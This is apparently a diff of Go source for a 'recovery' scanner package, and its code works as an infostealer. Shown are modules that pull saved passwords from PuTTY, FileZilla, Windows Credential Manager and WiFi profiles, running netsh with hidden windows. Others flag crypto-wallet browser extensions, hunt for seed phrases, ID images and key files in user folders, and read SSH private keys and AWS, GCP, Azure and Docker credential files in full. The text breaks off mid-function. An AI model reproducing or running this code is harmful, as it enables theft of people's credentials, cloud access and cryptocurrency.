for i, c := range raw {
|
||||
decrypted[i] = c ^ key[i%len(key)]
|
||||
}
|
||||
return string(decrypted)
|
||||
}
|
||||
|
||||
return string(raw)
|
||||
}
|
||||
|
||||
// ── PuTTY ──────────────────────────────────────────────────────────────
|
||||
|
||||
func scanPuTTY() []types.AppCredentialResult {
|
||||
var results []types.AppCredentialResult
|
||||
|
||||
k, err := registry.OpenKey(registry.CURRENT_USER, `Software\SimonTatham\PuTTY\Sessions`, registry.ENUMERATE_SUB_KEYS|registry.READ)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
defer k.Close()
|
||||
|
||||
sessions, _ := k.ReadSubKeyNames(-1)
|
||||
for _, sess := range sessions {
|
||||
if sess == "Default%20Settings" {
|
||||
continue
|
||||
}
|
||||
sk, err := registry.OpenKey(registry.CURRENT_USER, `Software\SimonTatham\PuTTY\Sessions\`+sess, registry.READ)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
hostname, _, _ := sk.GetStringValue("HostName")
|
||||
username, _, _ := sk.GetStringValue("UserName")
|
||||
portNum, _, _ := sk.GetIntegerValue("PortNumber")
|
||||
protocol, _, _ := sk.GetStringValue("Protocol")
|
||||
keyFile, _, _ := sk.GetStringValue("PublicKeyFile")
|
||||
proxyHost, _, _ := sk.GetStringValue("ProxyHost")
|
||||
sk.Close()
|
||||
|
||||
if hostname == "" {
|
||||
continue
|
||||
}
|
||||
|
||||
port := int(portNum)
|
||||
if port == 0 {
|
||||
port = 22
|
||||
}
|
||||
if protocol == "" {
|
||||
protocol = "ssh"
|
||||
}
|
||||
|
||||
extra := ""
|
||||
if keyFile != "" || proxyHost != "" {
|
||||
parts := []string{}
|
||||
if keyFile != "" {
|
||||
parts = append(parts, "key:"+keyFile)
|
||||
}
|
||||
if proxyHost != "" {
|
||||
parts = append(parts, "proxy:"+proxyHost)
|
||||
}
|
||||
extra = strings.Join(parts, "; ")
|
||||
}
|
||||
|
||||
// URL-decode session name for display purposes
|
||||
decodedName := strings.ReplaceAll(sess, "%20", " ")
|
||||
_ = decodedName
|
||||
|
||||
results = append(results, types.AppCredentialResult{
|
||||
Application: "PuTTY",
|
||||
Host: hostname,
|
||||
Port: port,
|
||||
Username: username,
|
||||
Protocol: protocol,
|
||||
Extra: extra,
|
||||
})
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
// ── FileZilla ──────────────────────────────────────────────────────────
|
||||
|
||||
type fzServer struct {
|
||||
XMLName xml.Name `xml:"Server"`
|
||||
Host string `xml:"Host"`
|
||||
Port int `xml:"Port"`
|
||||
Protocol int `xml:"Protocol"`
|
||||
User string `xml:"User"`
|
||||
Pass string `xml:"Pass"`
|
||||
}
|
||||
|
||||
type fzSiteManager struct {
|
||||
XMLName xml.Name `xml:"FileZilla3"`
|
||||
Servers []fzServer `xml:"Servers>Server"`
|
||||
}
|
||||
|
||||
type fzRecentServers struct {
|
||||
XMLName xml.Name `xml:"FileZilla3"`
|
||||
Servers []fzServer `xml:"RecentServers>Server"`
|
||||
}
|
||||
|
||||
func scanFileZilla() []types.AppCredentialResult {
|
||||
var results []types.AppCredentialResult
|
||||
|
||||
appdata := os.Getenv("APPDATA")
|
||||
if appdata == "" {
|
||||
return nil
|
||||
}
|
||||
fzDir := filepath.Join(appdata, "FileZilla")
|
||||
|
||||
for _, file := range []string{"sitemanager.xml", "recentservers.xml"} {
|
||||
path := filepath.Join(fzDir, file)
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
var servers []fzServer
|
||||
if file == "sitemanager.xml" {
|
||||
var sm fzSiteManager
|
||||
if xml.Unmarshal(data, &sm) == nil {
|
||||
servers = sm.Servers
|
||||
}
|
||||
} else {
|
||||
var rs fzRecentServers
|
||||
if xml.Unmarshal(data, &rs) == nil {
|
||||
servers = rs.Servers
|
||||
}
|
||||
}
|
||||
|
||||
for _, s := range servers {
|
||||
if s.Host == "" {
|
||||
continue
|
||||
}
|
||||
port := s.Port
|
||||
if port == 0 {
|
||||
port = 21
|
||||
}
|
||||
protocol := "ftp"
|
||||
switch s.Protocol {
|
||||
case 1:
|
||||
protocol = "sftp"
|
||||
case 3, 4:
|
||||
protocol = "ftps"
|
||||
}
|
||||
|
||||
results = append(results, types.AppCredentialResult{
|
||||
Application: "FileZilla",
|
||||
Host: s.Host,
|
||||
Port: port,
|
||||
Username: s.User,
|
||||
Password: s.Pass,
|
||||
Protocol: protocol,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
// ── Windows Credential Manager ─────────────────────────────────────────
|
||||
|
||||
type credEntry struct {
|
||||
target string
|
||||
username string
|
||||
password string
|
||||
credType uint32
|
||||
}
|
||||
|
||||
func enumCredentials() []credEntry {
|
||||
var count uint32
|
||||
var credsPtr uintptr
|
||||
|
||||
ret, _, _ := procCredEnumerateW.Call(
|
||||
0,
|
||||
0,
|
||||
uintptr(unsafe.Pointer(&count)),
|
||||
uintptr(unsafe.Pointer(&credsPtr)),
|
||||
)
|
||||
if ret == 0 || count == 0 {
|
||||
return nil
|
||||
}
|
||||
defer procCredFree.Call(credsPtr)
|
||||
|
||||
var results []credEntry
|
||||
for i := uint32(0); i < count; i++ {
|
||||
entryPtr := *(*uintptr)(unsafe.Pointer(credsPtr + uintptr(i)*unsafe.Sizeof(uintptr(0))))
|
||||
c := (*winCredential)(unsafe.Pointer(entryPtr))
|
||||
target := windows.UTF16PtrToString(c.TargetName)
|
||||
username := ""
|
||||
if c.UserName != nil {
|
||||
username = windows.UTF16PtrToString(c.UserName)
|
||||
}
|
||||
password := ""
|
||||
if c.CredentialBlobSize > 0 && c.CredentialBlob != nil {
|
||||
blob := unsafe.Slice(c.CredentialBlob, c.CredentialBlobSize)
|
||||
password = string(blob)
|
||||
}
|
||||
results = append(results, credEntry{
|
||||
target: target,
|
||||
username: username,
|
||||
password: password,
|
||||
credType: c.Type,
|
||||
})
|
||||
}
|
||||
return results
|
||||
}
|
||||
|
||||
func credManagerLookup(target string) string {
|
||||
target = strings.ToLower(target)
|
||||
for _, c := range enumCredentials() {
|
||||
if strings.ToLower(c.target) == target {
|
||||
return c.password
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func scanCredentialManager() []types.AppCredentialResult {
|
||||
var results []types.AppCredentialResult
|
||||
|
||||
for _, c := range enumCredentials() {
|
||||
target := strings.ToLower(c.target)
|
||||
// Skip TERMSRV entries (already handled by RDP scanner)
|
||||
if strings.HasPrefix(target, "termsrv/") {
|
||||
continue
|
||||
}
|
||||
// Skip entries with no useful data
|
||||
if c.username == "" && c.password == "" {
|
||||
continue
|
||||
}
|
||||
|
||||
typeName := "generic"
|
||||
switch c.credType {
|
||||
case credTypeDomainPassword:
|
||||
typeName = "domain"
|
||||
case credTypeDomainCertificate:
|
||||
typeName = "certificate"
|
||||
}
|
||||
|
||||
results = append(results, types.AppCredentialResult{
|
||||
Application: "CredManager",
|
||||
Host: c.target,
|
||||
Username: c.username,
|
||||
Password: c.password,
|
||||
Protocol: typeName,
|
||||
})
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
// ── WiFi ───────────────────────────────────────────────────────────────
|
||||
|
||||
func scanWiFi() []types.AppCredentialResult {
|
||||
var results []types.AppCredentialResult
|
||||
|
||||
cmd := exec.Command("netsh", "wlan", "show", "profiles")
|
||||
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true, CreationFlags: windows.CREATE_NO_WINDOW}
|
||||
out, err := cmd.Output()
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
var profiles []string
|
||||
for _, line := range strings.Split(string(out), "\n") {
|
||||
line = strings.TrimSpace(line)
|
||||
if idx := strings.Index(line, ": "); idx >= 0 {
|
||||
lower := strings.ToLower(line[:idx])
|
||||
if strings.Contains(lower, "all user profile") || strings.Contains(lower, "profil") {
|
||||
name := strings.TrimSpace(line[idx+2:])
|
||||
if name != "" {
|
||||
profiles = append(profiles, name)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
for _, name := range profiles {
|
||||
cmd := exec.Command("netsh", "wlan", "show", "profile", fmt.Sprintf("name=%s", name), "key=clear")
|
||||
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true, CreationFlags: windows.CREATE_NO_WINDOW}
|
||||
out, err := cmd.Output()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
password := ""
|
||||
auth := ""
|
||||
for _, line := range strings.Split(string(out), "\n") {
|
||||
line = strings.TrimSpace(line)
|
||||
if idx := strings.Index(line, ": "); idx >= 0 {
|
||||
lower := strings.ToLower(line[:idx])
|
||||
val := strings.TrimSpace(line[idx+2:])
|
||||
if strings.Contains(lower, "key content") || strings.Contains(lower, "contenu") {
|
||||
password = val
|
||||
} else if strings.Contains(lower, "authentication") || strings.Contains(lower, "authentification") {
|
||||
auth = val
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
results = append(results, types.AppCredentialResult{
|
||||
Application: "WiFi",
|
||||
Host: name,
|
||||
Username: auth,
|
||||
Password: password,
|
||||
Protocol: "wifi",
|
||||
})
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
@@ -0,0 +1,147 @@
|
||||
package scanner
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"recovery/recovery/browser"
|
||||
"recovery/recovery/types"
|
||||
)
|
||||
|
||||
var knownWalletExtensions = map[string]string{
|
||||
"bhghoamapcdpbohphigoooaddinpkbai": "Authenticator",
|
||||
"fhbohimaelbohpjbbldcngcnapndodjp": "Binance",
|
||||
"fihkakfobkmkjojpchpfgcmhfjnmnfpi": "Bitapp",
|
||||
"aodkkagnadcbobfpggfnjeongemjbjca": "BoltX",
|
||||
"aeachknmefphepccionboohckonoeemg": "Coin98",
|
||||
"hnfanknocfeofbddgcijnmhnfnkdnaad": "Coinbase",
|
||||
"agoakfejjabomempkjlepdflaleeobhb": "Core",
|
||||
"pnlfjmlcjdjgkddecgincndfgegkecke": "Crocobit",
|
||||
"blnieiiffboillknjnepogjhkgnoapac": "Equal",
|
||||
"cgeeodpfagjceefieflmdfphplkenlfk": "Ever",
|
||||
"aholpfdialjgjfhomihkjbmgjidlcdno": "ExodusWeb3",
|
||||
"ebfidpplhabeedpnhjnobghokpiioolj": "Fewcha",
|
||||
"cjmkndjhnagcfbpiemnkdpomccnjblmj": "Finnie",
|
||||
"hpglfhgfnhbgpjdenjgmdgoeiappafln": "Guarda",
|
||||
"nanjmdknhkinifnkgdcggcfnhdaammmj": "Guild",
|
||||
"fnnegphlobjdpkhecapkijjdkgcjhkib": "Harmony",
|
||||
"flpiciilemghbmfalicajoolhkkenfel": "Iconex",
|
||||
"cjelfplplebdjjenllpjcblmjkfcffne": "Jaxx Liberty",
|
||||
"jblndlipeogpafnldhgmapagcccfchpi": "Kaikas",
|
||||
"pdadjkfkgcafgbceimcpbkalnfnepbnk": "KardiaChain",
|
||||
"dmkamcknogkgcdfhhbddcghachkejeap": "Keplr",
|
||||
"kpfopkelmapcoipemfendmdcghnegimn": "Liquality",
|
||||
"nlbmnnijcnlegkjjpcfjclmcfggfefdm": "MEWCX",
|
||||
"dngmlblcodfobpdpecaadgfbcggfjfnm": "MaiarDEFI",
|
||||
"efbglgofoippbgcjepnhiblaibcnclgk": "Martian",
|
||||
"afbcbjpbpfadlkmhmclhkeeodmamcflc": "Math",
|
||||
"nkbihfbeogaeaoehlefnkodbefgpgknn": "Metamask",
|
||||
"ejbalbakoplchlghecdalmeeeajnimhm": "Metamask",
|
||||
"fcckkdbjnoikooededlapcalpionmalo": "Mobox",
|
||||
"lpfcbjknijpeeillifnkikgncikgfhdo": "Nami",
|
||||
"jbdaocneiiinmjbjlgalhcelgbejmnid": "Nifty",
|
||||
"fhilaheimglignddkjgofkcbgekhenbh": "Oxygen",
|
||||
"mgffkfbidihjpoaomajlbgchddlicgpn": "PaliWallet",
|
||||
"ejjladinnckdgjemekebdpeokbikhfci": "Petra",
|
||||
"bfnaelmomeimhlpmgjnjophhpkkoljpa": "Phantom",
|
||||
"phkbamefinggmakgklpkljjmgibohnba": "Pontem",
|
||||
"fnjhmkhhmkbjkkabndcnnogagogbneec": "Ronin",
|
||||
"lgmpcpglpngdoalbgeoldeajfclnhafa": "Safepal",
|
||||
"nkddgncdjgjfcddamfgcmfnlhccnimig": "Saturn",
|
||||
"pocmplpaccanhmnllbbkpgfliimjljgo": "Slope",
|
||||
"bhhhlbepdkbapadjdnnojkbgioiodbic": "Solflare",
|
||||
"fhmfendgdocmcbmfikdcogofphimnkno": "Sollet",
|
||||
"mfhbebgoclkghebffdldpobeajmbecfk": "Starcoin",
|
||||
"cmndjbecilbocjfkibfbifhngkdmjgog": "Swash",
|
||||
"ookjlbkiijinhpmnjffcofjonbfbgaoc": "TempleTezos",
|
||||
"aiifbnbfobpmeekipheeijimdpnlpgpp": "TerraStation",
|
||||
"mfgccjchihfkkindfppnaooecgfneiii": "Tokenpocket",
|
||||
"nphplpgoakhhjchkkhmiggakijnkhfnd": "Ton",
|
||||
"ibnejdfjmmkpcnlpebklmnkoeoihofec": "Tron",
|
||||
"egjidjbpglichdcondbcbdnbeeppgdph": "Trust Wallet",
|
||||
"amkmjjmmflddogmhpjloimipbofnfjih": "Wombat",
|
||||
"hmeobnfnfcmdkdcmlblgagmfpfboieaf": "XDEFI",
|
||||
"eigblbgjknlfbajkfhopmcojidlgcehm": "XMR.PT",
|
||||
"bocpokimicclpaiekenaeelehdjllofo": "XinPay",
|
||||
"ffnbelfdoeiohenkjibnmadjiehjhajb": "Yoroi",
|
||||
"kncchdigobghenbbaddojjnnaogfppfj": "iWallet",
|
||||
}
|
||||
|
||||
func ScanExtensions() []types.ExtensionResult {
|
||||
var results []types.ExtensionResult
|
||||
for _, cfg := range browser.Browsers {
|
||||
if cfg.IsFirefox {
|
||||
continue
|
||||
}
|
||||
profiles := browser.FindProfileDirs(cfg)
|
||||
for _, profile := range profiles {
|
||||
extDir := filepath.Join(profile.Path, "Extensions")
|
||||
entries, err := os.ReadDir(extDir)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
for _, e := range entries {
|
||||
if !e.IsDir() {
|
||||
continue
|
||||
}
|
||||
extID := e.Name()
|
||||
// Skip internal Chromium marker dirs
|
||||
if strings.HasPrefix(extID, "_") {
|
||||
continue
|
||||
}
|
||||
extIDDir := filepath.Join(extDir, extID)
|
||||
versionDirs, err := os.ReadDir(extIDDir)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
for _, vd := range versionDirs {
|
||||
if !vd.IsDir() {
|
||||
continue
|
||||
}
|
||||
versionPath := filepath.Join(extIDDir, vd.Name())
|
||||
name, version := readManifestBasics(filepath.Join(versionPath, "manifest.json"))
|
||||
category := ""
|
||||
if walletName, ok := knownWalletExtensions[extID]; ok {
|
||||
category = "wallet"
|
||||
if name == "" {
|
||||
name = walletName
|
||||
}
|
||||
}
|
||||
results = append(results, types.ExtensionResult{
|
||||
ExtID: extID,
|
||||
Name: name,
|
||||
Version: version,
|
||||
Browser: cfg.Name,
|
||||
Profile: profile.Name,
|
||||
Path: versionPath,
|
||||
Category: category,
|
||||
})
|
||||
break // first version directory only
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return results
|
||||
}
|
||||
|
||||
type manifestBasics struct {
|
||||
Name string `json:"name"`
|
||||
Version string `json:"version"`
|
||||
}
|
||||
|
||||
func readManifestBasics(path string) (name, version string) {
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
return "", ""
|
||||
}
|
||||
var m manifestBasics
|
||||
if err := json.Unmarshal(data, &m); err != nil {
|
||||
return "", ""
|
||||
}
|
||||
if strings.HasPrefix(m.Name, "__MSG_") {
|
||||
m.Name = ""
|
||||
}
|
||||
return m.Name, m.Version
|
||||
}
|
||||
@@ -0,0 +1,170 @@
|
||||
package scanner
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"recovery/recovery/types"
|
||||
)
|
||||
|
||||
const (
|
||||
maxFiles = 500
|
||||
maxScanDepth = 3
|
||||
maxFileSizeList = 100 * 1024 * 1024 // 100 MB — skip larger files from listing
|
||||
MaxFetchSize = 10 * 1024 * 1024 // 10 MB — max content returned per fetch
|
||||
)
|
||||
|
||||
var targetExtensions = map[string]bool{
|
||||
// Office documents
|
||||
".docx": true, ".doc": true, ".docm": true,
|
||||
".xlsx": true, ".xls": true, ".xlsm": true,
|
||||
".pptx": true, ".ppt": true, ".pptm": true,
|
||||
".odt": true, ".ods": true, ".odp": true,
|
||||
// Plain text / markup
|
||||
".txt": true, ".rtf": true, ".md": true,
|
||||
".csv": true, ".tsv": true,
|
||||
// PDFs
|
||||
".pdf": true,
|
||||
// Archives (metadata only — content not fetched automatically)
|
||||
".zip": true, ".7z": true, ".rar": true, ".tar": true, ".gz": true,
|
||||
// Credential / key files
|
||||
".kdbx": true, ".key": true, ".pem": true,
|
||||
".p12": true, ".pfx": true, ".ppk": true, ".jks": true,
|
||||
// Dotenv — commonly stores API keys and secrets
|
||||
".env": true,
|
||||
// Images — IDs, passports, screenshots of credentials, seed phrases
|
||||
".jpg": true, ".jpeg": true, ".png": true, ".gif": true,
|
||||
".bmp": true, ".webp": true, ".tiff": true, ".tif": true,
|
||||
".heic": true, ".heif": true,
|
||||
}
|
||||
|
||||
// seedPhraseLengths are the BIP39 word counts we consider suspicious.
|
||||
var seedPhraseLengths = map[int]bool{12: true, 20: true, 24: true}
|
||||
|
||||
type scanLocation struct {
|
||||
subPath string
|
||||
label string
|
||||
}
|
||||
|
||||
// ScanFiles walks common user locations and returns matching file metadata.
|
||||
// At most maxFiles results are returned. Files larger than maxFileSizeList are skipped.
|
||||
func ScanFiles() []types.FileResult {
|
||||
home, _ := os.UserHomeDir()
|
||||
if home == "" {
|
||||
return nil
|
||||
}
|
||||
|
||||
var results []types.FileResult
|
||||
seen := make(map[string]bool)
|
||||
|
||||
for _, loc := range getScanLocations() {
|
||||
dir := filepath.Join(home, loc.subPath)
|
||||
scanDir(dir, loc.label, 0, &results, seen)
|
||||
if len(results) >= maxFiles {
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
func scanDir(dir, label string, depth int, results *[]types.FileResult, seen map[string]bool) {
|
||||
if depth > maxScanDepth || len(*results) >= maxFiles {
|
||||
return
|
||||
}
|
||||
|
||||
entries, err := os.ReadDir(dir)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
for _, e := range entries {
|
||||
if len(*results) >= maxFiles {
|
||||
return
|
||||
}
|
||||
|
||||
name := e.Name()
|
||||
// skip hidden / system files
|
||||
if strings.HasPrefix(name, ".") || strings.HasPrefix(name, "$") {
|
||||
continue
|
||||
}
|
||||
|
||||
fullPath := filepath.Join(dir, name)
|
||||
|
||||
if e.IsDir() {
|
||||
scanDir(fullPath, label, depth+1, results, seen)
|
||||
continue
|
||||
}
|
||||
|
||||
ext := strings.ToLower(filepath.Ext(name))
|
||||
if !targetExtensions[ext] {
|
||||
continue
|
||||
}
|
||||
|
||||
if seen[fullPath] {
|
||||
continue
|
||||
}
|
||||
seen[fullPath] = true
|
||||
|
||||
info, err := e.Info()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
if info.Size() > maxFileSizeList {
|
||||
continue
|
||||
}
|
||||
|
||||
var tags []string
|
||||
if contentTags := contentFileTags(fullPath, ext, info.Size()); len(contentTags) > 0 {
|
||||
tags = contentTags
|
||||
}
|
||||
|
||||
*results = append(*results, types.FileResult{
|
||||
Path: fullPath,
|
||||
Name: name,
|
||||
Ext: ext,
|
||||
Size: info.Size(),
|
||||
Modified: info.ModTime().Unix(),
|
||||
Dir: label,
|
||||
Tags: tags,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// looksLikeSeedLine returns true if every word is 3–8 lowercase letters.
|
||||
// BIP39 words are exclusively lowercase a–z with lengths in that range.
|
||||
func looksLikeSeedLine(words []string) bool {
|
||||
if !seedPhraseLengths[len(words)] {
|
||||
return false
|
||||
}
|
||||
for _, w := range words {
|
||||
if len(w) < 3 || len(w) > 8 {
|
||||
return false
|
||||
}
|
||||
for _, c := range w {
|
||||
if c < 'a' || c > 'z' {
|
||||
return false
|
||||
}
|
||||
}
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
// FetchFile reads a file and returns its raw bytes.
|
||||
// Returns an error if the file exceeds MaxFetchSize or does not exist.
|
||||
func FetchFile(path string) ([]byte, error) {
|
||||
info, err := os.Stat(path)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("file not found")
|
||||
}
|
||||
if info.IsDir() {
|
||||
return nil, fmt.Errorf("path is a directory")
|
||||
}
|
||||
if info.Size() > MaxFetchSize {
|
||||
return nil, fmt.Errorf("file too large (%d bytes, max %d)", info.Size(), MaxFetchSize)
|
||||
}
|
||||
return os.ReadFile(path)
|
||||
}
|
||||
@@ -0,0 +1,14 @@
|
||||
//go:build !windows
|
||||
|
||||
package scanner
|
||||
|
||||
func getScanLocations() []scanLocation {
|
||||
return []scanLocation{
|
||||
{"Desktop", "Desktop"},
|
||||
{"Documents", "Documents"},
|
||||
{"Downloads", "Downloads"},
|
||||
{".local/share", ".local/share"},
|
||||
{"Dropbox", "Dropbox"},
|
||||
{"snap", "Snap"},
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,17 @@
|
||||
//go:build windows
|
||||
|
||||
package scanner
|
||||
|
||||
func getScanLocations() []scanLocation {
|
||||
return []scanLocation{
|
||||
{"Desktop", "Desktop"},
|
||||
{"Documents", "Documents"},
|
||||
{"Downloads", "Downloads"},
|
||||
{`OneDrive\Desktop`, "OneDrive/Desktop"},
|
||||
{`OneDrive\Documents`, "OneDrive/Documents"},
|
||||
{`OneDrive - Personal\Desktop`, "OneDrive/Desktop"},
|
||||
{`OneDrive - Personal\Documents`, "OneDrive/Documents"},
|
||||
{`OneDrive - Business\Desktop`, "OneDrive/Desktop"},
|
||||
{`OneDrive - Business\Documents`, "OneDrive/Documents"},
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,313 @@
|
||||
package scanner
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
|
||||
"recovery/recovery/types"
|
||||
)
|
||||
|
||||
const maxKeyFileSize = 512 * 1024 // 512KB
|
||||
|
||||
func gcpConfigDir(home string) string {
|
||||
if runtime.GOOS == "windows" {
|
||||
return filepath.Join(home, "AppData", "Roaming", "gcloud")
|
||||
}
|
||||
return filepath.Join(home, ".config", "gcloud")
|
||||
}
|
||||
|
||||
func ScanKeys() []types.KeyResult {
|
||||
var results []types.KeyResult
|
||||
home, _ := os.UserHomeDir()
|
||||
if home == "" {
|
||||
return nil
|
||||
}
|
||||
|
||||
results = append(results, scanSSHKeys(home)...)
|
||||
results = append(results, scanAWSCredentials(home)...)
|
||||
results = append(results, scanGCPCredentials(home)...)
|
||||
results = append(results, scanAzureCredentials(home)...)
|
||||
results = append(results, scanDockerCredentials(home)...)
|
||||
results = append(results, scanKubeConfig(home)...)
|
||||
results = append(results, scanEnvFiles(home)...)
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
func scanSSHKeys(home string) []types.KeyResult {
|
||||
sshDir := filepath.Join(home, ".ssh")
|
||||
entries, err := os.ReadDir(sshDir)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
var results []types.KeyResult
|
||||
for _, e := range entries {
|
||||
if e.IsDir() {
|
||||
continue
|
||||
}
|
||||
name := e.Name()
|
||||
if name == "known_hosts" || name == "authorized_keys" || strings.HasSuffix(name, ".pub") || name == "config" {
|
||||
continue
|
||||
}
|
||||
|
||||
path := filepath.Join(sshDir, name)
|
||||
info, err := e.Info()
|
||||
if err != nil || info.Size() > maxKeyFileSize || info.Size() == 0 {
|
||||
continue
|
||||
}
|
||||
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
content := string(data)
|
||||
|
||||
if isPrivateKey(content) {
|
||||
results = append(results, types.KeyResult{
|
||||
Type: "ssh",
|
||||
Name: name,
|
||||
Path: path,
|
||||
Size: info.Size(),
|
||||
Content: content,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
configPath := filepath.Join(sshDir, "config")
|
||||
if info, err := os.Stat(configPath); err == nil && info.Size() < maxKeyFileSize {
|
||||
if data, err := os.ReadFile(configPath); err == nil && len(data) > 0 {
|
||||
results = append(results, types.KeyResult{
|
||||
Type: "ssh_config",
|
||||
Name: "config",
|
||||
Path: configPath,
|
||||
Size: info.Size(),
|
||||
Content: string(data),
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
func isPrivateKey(content string) bool {
|
||||
markers := []string{
|
||||
"-----BEGIN OPENSSH PRIVATE KEY-----",
|
||||
"-----BEGIN RSA PRIVATE KEY-----",
|
||||
"-----BEGIN EC PRIVATE KEY-----",
|
||||
"-----BEGIN DSA PRIVATE KEY-----",
|
||||
"-----BEGIN PRIVATE KEY-----",
|
||||
"-----BEGIN ENCRYPTED PRIVATE KEY-----",
|
||||
"PuTTY-User-Key-File-",
|
||||
}
|
||||
for _, m := range markers {
|
||||
if strings.Contains(content, m) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func scanAWSCredentials(home string) []types.KeyResult {
|
||||
var results []types.KeyResult
|
||||
awsDir := filepath.Join(home, ".aws")
|
||||
|
||||
for _, name := range []string{"credentials", "config"} {
|
||||
path := filepath.Join(awsDir, name)
|
||||
info, err := os.Stat(path)
|
||||
if err != nil || info.Size() > maxKeyFileSize || info.Size() == 0 {
|
||||
continue
|
||||
}
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
results = append(results, types.KeyResult{
|
||||
Type: "aws",
|
||||
Name: name,
|
||||
Path: path,
|
||||
Size: info.Size(),
|
||||
Content: string(data),
|
||||
})
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
func scanGCPCredentials(home string) []types.KeyResult {
|
||||
var results []types.KeyResult
|
||||
|
||||
gcpDir := gcpConfigDir(home)
|
||||
candidates := []string{
|
||||
filepath.Join(gcpDir, "application_default_credentials.json"),
|
||||
filepath.Join(gcpDir, "credentials.db"),
|
||||
filepath.Join(gcpDir, "properties"),
|
||||
}
|
||||
|
||||
for _, dir := range []string{
|
||||
filepath.Join(home, "Desktop"),
|
||||
filepath.Join(home, "Documents"),
|
||||
filepath.Join(home, "Downloads"),
|
||||
} {
|
||||
entries, err := os.ReadDir(dir)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
for _, e := range entries {
|
||||
if e.IsDir() {
|
||||
continue
|
||||
}
|
||||
name := e.Name()
|
||||
if strings.HasSuffix(name, ".json") && (strings.Contains(name, "service") || strings.Contains(name, "gcp") || strings.Contains(name, "google")) {
|
||||
candidates = append(candidates, filepath.Join(dir, name))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
for _, path := range candidates {
|
||||
info, err := os.Stat(path)
|
||||
if err != nil || info.Size() > maxKeyFileSize || info.Size() == 0 {
|
||||
continue
|
||||
}
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
content := string(data)
|
||||
if strings.Contains(content, "client_secret") || strings.Contains(content, "private_key") || strings.Contains(content, "type") {
|
||||
results = append(results, types.KeyResult{
|
||||
Type: "gcp",
|
||||
Name: filepath.Base(path),
|
||||
Path: path,
|
||||
Size: info.Size(),
|
||||
Content: content,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
func scanAzureCredentials(home string) []types.KeyResult {
|
||||
var results []types.KeyResult
|
||||
|
||||
azureDir := filepath.Join(home, ".azure")
|
||||
candidates := []string{
|
||||
filepath.Join(azureDir, "accessTokens.json"),
|
||||
filepath.Join(azureDir, "azureProfile.json"),
|
||||
filepath.Join(azureDir, "msal_token_cache.json"),
|
||||
filepath.Join(azureDir, "service_principal_entries.json"),
|
||||
}
|
||||
|
||||
for _, path := range candidates {
|
||||
info, err := os.Stat(path)
|
||||
if err != nil || info.Size() > maxKeyFileSize || info.Size() == 0 {
|
||||
continue
|
||||
}
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
results = append(results, types.KeyResult{
|
||||
Type: "azure",
|
||||
Name: filepath.Base(path),
|
||||
Path: path,
|
||||
Size: info.Size(),
|
||||
Content: string(data),
|
||||
})
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
func scanDockerCredentials(home string) []types.KeyResult {
|
||||
var results []types.KeyResult
|
||||
|
||||
path := filepath.Join(home, ".docker", "config.json")
|
||||
info, err := os.Stat(path)
|
||||
if err != nil || info.Size() > maxKeyFileSize || info.Size() == 0 {
|
||||
return nil
|
||||
}
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
if strings.Contains(string(data), "auths") {
|
||||
results = append(results, types.KeyResult{
|
||||
Type: "docker",
|
||||
Name: "config.json",
|
||||
Path: path,
|
||||
Size: info.Size(),
|
||||
Content: string(data),
|
||||
})
|
||||
}
|
||||
return results
|
||||
}
|
||||
|
||||
func scanKubeConfig(home string) []types.KeyResult {
|
||||
var results []types.KeyResult
|
